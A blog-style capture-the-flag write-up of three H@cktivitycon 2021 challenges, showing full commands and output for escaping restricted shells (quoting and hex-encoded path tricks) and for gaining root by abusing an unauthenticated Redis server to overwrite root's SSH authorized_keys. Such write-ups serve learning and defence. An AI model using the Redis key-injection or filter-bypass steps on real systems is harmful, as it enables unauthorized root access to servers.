In mid September 2021, I participated in the H@cktivitycon 2021 CTF. The event was hosted by HackerOne and lasted for two days.

I signed up earlier but only played the main challenges in the last few hours, which I now regret because there were so many fantastic challenges 😅🔨

So now in this post I’ll share my writeup/ssolutions for three miscellaneous category challenges that I solved.

Badwords

Challenge Information
  • Author: -

  • Category: Misc

  • Difficulty: Easy

  • Description:

    You look questionable… if you don’t have anything good to say, don’t say anything at all!

Walkthrough

When connecting, I can assume that it’s not in a proper TTY, maybe a kind of wrapper shell. Each command I sent returned with the same message telling me that it was a bad word.

iamf@ubuntu:~$ rlwrap nc -v challenge.ctf.games 32559
Connection to challenge.ctf.games 32559 port [tcp/*] succeeded!
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
user@host:/home/user$ ls -l
ls -l
You said a bad word, "l"!!
user@host:/home/user$ echo $0
echo $0
You said a bad word, "echo"!!

But if I send a command separator, it returns a syntax error (notice the ;')

user@host:/home/user$ ;ls
;ls
bash: syntax error near unexpected token `;'
user@host:/home/user$

If I send a command enclosed with a single quote, I get the expected results. And if I supply an argument, it returns a different error.

user@host:/home/user$ 'whoami'
'whoami'
user
user@host:/home/user$ 'ls -l'
'ls -l'
bash: ls -l: command not found

So I try to separate the argument, and it works.

user@host:/home/user$ 'ls' '-l'
'ls' '-l'
total 4
drwxr-xr-x 1 user user 4096 Sep  9 19:47 just

Now I can just do a recursive ls to find the flag and read it.

user@host:/home/user$ 'ls' '-l' '-R' 'just'
'ls' '-l' '-R' 'just'
just:
total 4
drwxr-xr-x 1 user user 4096 Sep  9 19:47 out

just/out:
total 4
drwxr-xr-x 1 user user 4096 Sep  9 19:47 of

just/out/of:
total 4
drwxr-xr-x 1 user user 4096 Sep  9 19:47 reach

just/out/of/reach:
total 4
-rw-r--r-- 1 user user 38 Sep  9 19:47 flag.txt
user@host:/home/user$ 'cat' 'just/out/of/reach/flag.txt'
'cat' 'just/out/of/reach/flag.txt'
flag{2d43e30a358d3f30fe65cc47a9cbbe98}user@host:/home/user$

Shelle

Challenge Information
  • Author: -

  • Category: Misc

  • Difficulty: Easy

  • Description: Professor Shelle created a custom psuedo shell for us to learn Linux, she believes it’s safe and no one can ever read the flag. Can you prove her wrong?*

Walkthrough

This challenge is another shell wrapper like badwords. Upon connected, I was provided with the following menu.

iamf@ubuntu:~$ rlwrap nc challenge.ctf.games 32217

Welcome to Shelle, a custom psuedo shell utility created by Professor Shelle in order to teach students about Linux terminals
Shelle is a restricted environment to prevent any misuse, Please Enter 'HELP' to know about available features, happy learning !

root@pshelle$ HELP
HELP

Here is the list of command availiable to Students
1> whoami
2> pwd
3> ls
4> ps
5> id
6> echo
7> cat


root@shelle$ 

When I use the ls command, I didn’t find any flag in the current working directory. It seems I have to find it somewhere in this machine.

root@shelle$ ls
ls
assignment.txt  bin

The first thing I tried was to list the root directory with ls -l /, but it turned out that some characters, including /, are flagged as illegal. Luckily, these chars are not,

$ ( ) " \

So, I can use the echo command with -e option within a subshell to print \x2f which is a hex form of /.

root@shelle$ ls $(echo -e "\x2f")
ls $(echo -e "\x2f")
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr

After wandering around, I found the flag on /opt/.

root@shelle$ ls $(echo -e "\x2fopt") -lt
ls $(echo -e "\x2fopt") -lt
total 24
-rwxr-xr-x 1 shelle shelle 17312 Sep  9 19:33 binary
-r--r--r-- 1 root   root      38 Sep  9 19:33 flag.txt

root@shelle$ cat $(echo -e "\x2fopt\x2fflag.txt")
cat $(echo -e "\x2fopt\x2fflag.txt")
flag{82ad133488ad326eaf2120e03253e5d7}

Note: I added a space after the shell prompt for readability and syntax highlighting.

Redlike

Challenge Information
  • Author: -

  • Category: Misc

  • Difficulty: Medium

  • Description:

    You know, I like the color red. Primary colors are the best colors – you can do so much with them!

    Escalate your privileges and retrieve the flag out of root’s home directory.

Walkthrough

For this challenge, there was a set of credentials given for SSH login into a VM instance.

iamf@ubuntu:~$ ssh -p 31464 user@challenge.ctf.games
user@challenge.ctf.games's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.120+ x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

user@redlike-a6548218fe17631b-b75878d5-qsl75:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)

At the root directory, I found .docker-entrypoint.

user@redlike-a6548218fe17631b-b75878d5-qsl75:/$ ls -lah
total 72K
drwxr-xr-x    1 root root 4.0K Sep 18 11:34 .
drwxr-xr-x    1 root root 4.0K Sep 18 11:34 ..
-rwxr-xr-x    1 root root   61 Sep 16 14:43 .docker-entrypoint
lrwxrwxrwx    1 root root    7 Aug 27 07:16 bin -> usr/bin
drwxr-xr-x    2 root root 4.0K Apr 15  2020 boot
drwxr-xr-x    5 root root  360 Sep 18 11:34 dev
drwxr-xr-x    1 root root 4.0K Sep 16 14:44 etc
drwxr-xr-x    1 root root 4.0K Sep 16 14:43 home
lrwxrwxrwx    1 root root    7 Aug 27 07:16 lib -> usr/lib
lrwxrwxrwx    1 root root    9 Aug 27 07:16 lib32 -> usr/lib32
lrwxrwxrwx    1 root root    9 Aug 27 07:16 lib64 -> usr/lib64
lrwxrwxrwx    1 root root   10 Aug 27 07:16 libx32 -> usr/libx32
drwxr-xr-x    2 root root 4.0K Aug 27 07:16 media
drwxr-xr-x    2 root root 4.0K Aug 27 07:16 mnt
drwxr-xr-x    2 root root 4.0K Aug 27 07:16 opt
dr-xr-xr-x 2595 root root    0 Sep 18 11:34 proc
drwx------    1 root root 4.0K Sep 16 14:44 root
drwxr-xr-x    1 root root 4.0K Sep 18 11:34 run
lrwxrwxrwx    1 root root    8 Aug 27 07:16 sbin -> usr/sbin
drwxr-xr-x    2 root root 4.0K Aug 27 07:16 srv
dr-xr-xr-x   12 root root    0 Sep 18 11:33 sys
drwxrwxrwt    1 root root 4.0K Sep 16 14:44 tmp
drwxr-xr-x    1 root root 4.0K Aug 27 07:16 usr
drwxr-xr-x    1 root root 4.0K Aug 27 07:27 var

Based on the contents of the file and the name of the challenge, it’s clear that the privesc has something to do with Redis.

user@redlike-a6548218fe17631b-b75878d5-qsl75:/$ cat .docker-entrypoint
#!/bin/bash

/etc/init.d/redis-server start
/usr/sbin/sshd -D

I can connect to the Redis server using redis-cli without authentication. I started the enumeration by sending INFO command, but under # Keyspace, I found no active database.

user@redlike-a6548218fe17631b-b75878d5-qsl75:/$ which redis-cli
/usr/bin/redis-cli
user@redlike-a6548218fe17631b-b75878d5-qsl75:/$ redis-cli
127.0.0.1:6379> INFO
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:636cde3b5c7a3923
redis_mode:standalone
os:Linux 5.4.120+ x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.2.1
process_id:15
run_id:f5d6504f95159db85bb78e1bd786b2f3171564fd
tcp_port:6379
uptime_in_seconds:344
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:4575234
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0

# Memory
used_memory:859152
used_memory_human:839.02K
used_memory_rss:6017024
used_memory_rss_human:5.74M
used_memory_peak:859152
used_memory_peak_human:839.02K
used_memory_peak_perc:100.12%
used_memory_overhead:845926
used_memory_startup:796232
used_memory_dataset:13226
used_memory_dataset_perc:21.02%
allocator_allocated:1575864
allocator_active:1847296
allocator_resident:9879552
total_system_memory:33678073856
total_system_memory_human:31.37G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.17
allocator_frag_bytes:271432
allocator_rss_ratio:5.35
allocator_rss_bytes:8032256
rss_overhead_ratio:0.61
rss_overhead_bytes:-3862528
mem_fragmentation_ratio:7.36
mem_fragmentation_bytes:5199880
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1631964842
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:1
total_commands_processed:1
instantaneous_ops_per_sec:0
total_net_input_bytes:31
total_net_output_bytes:11468
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:f4b741e04432090f4eba3ef1fbdb2ce11e405aeb
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.271186
used_cpu_user:0.278797
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000

# Cluster
cluster_enabled:0

# Keyspace
127.0.0.1:6379>

The next thing I tried was writing a file to /tmp.

127.0.0.1:6379> config set dir /tmp
OK
127.0.0.1:6379> config set dbfilename choropys.php
OK
127.0.0.1:6379> set test "choropys"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

I exited from redis-cli and immediately checked the file I wrote under /tmp. It’s there and the owner is root!

user@redlike-a6548218fe17631b-b75878d5-qsl75:/$ ls -l /tmp/choropys.php
-rw-rw---- 1 root root 112 Sep 18 11:45 /tmp/choropys.php

This arbitrary file write lack the execute permissions, but I remember from Hack The Box Postman that it is possible to use this to overwite the SSH authorized_keys file (see this writeup by 0xdf). So I can try to ovewrite the root’s authorized_keys file.

First, I need to generate a pair of SSH keys.

user@redlike-20edff3e85f553f2-55b895664b-szch7:~$ mkdir .ssh
user@redlike-20edff3e85f553f2-55b895664b-szch7:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/user/.ssh/id_rsa
Your public key has been saved in /home/user/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:AVk3h1vdyP/x1KCcBr/IQY7eac9vzZUUrMx/pNkB0KI user@redlike-20edff3e85f553f2-55b895664b-szch7
The key's randomart image is:
+---[RSA 3072]----+
|      .o. oo+o.o |
|      .. .++.o=o.|
|        .+.*+oooo|
|        .E+ *+ +=|
|       .So = .o**|
|        . * . oo*|
|         . o   oo|
|            o . o|
|             o.  |
+----[SHA256]-----+

Then I will have to wrap the SSH public key with two extra newlines.

user@redlike-20edff3e85f553f2-55b895664b-szch7:~$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

Now the key can be stored in Redis using the following command.

user@redlike-20edff3e85f553f2-55b895664b-szch7:~$ cat spaced_key.txt | redis-cli -x set spaced_key.txt
OK

Then I can just set the database file name to authorized_keys and save that under /root/.ssh/.

user@redlike-20edff3e85f553f2-55b895664b-szch7:~$ redis-cli
127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename "authorized_keys"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

And it worked, I can SSH login as root user.

user@redlike-20edff3e85f553f2-55b895664b-szch7:~$ ssh root@redlike-20edff3e85f553f2-55b895664b-szch7
The authenticity of host 'redlike-20edff3e85f553f2-55b895664b-szch7 (10.112.8.36)' can't be established.
ECDSA key fingerprint is SHA256:m9vzgGyWcCXB1tg0uLHYCKCaDNZFUnbeSirAvvLkYxU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'redlike-20edff3e85f553f2-55b895664b-szch7,10.112.8.36' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.120+ x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@redlike-20edff3e85f553f2-55b895664b-szch7:~# id
uid=0(root) gid=0(root) groups=0(root)
root@redlike-20edff3e85f553f2-55b895664b-szch7:~# ls -l
total 4
--w------- 1 root root 39 Sep 16 14:43 flag.txt
root@redlike-20edff3e85f553f2-55b895664b-szch7:~# cat flag.txt
flag{69dc14707af23b728ebd1363715ec890}

Reference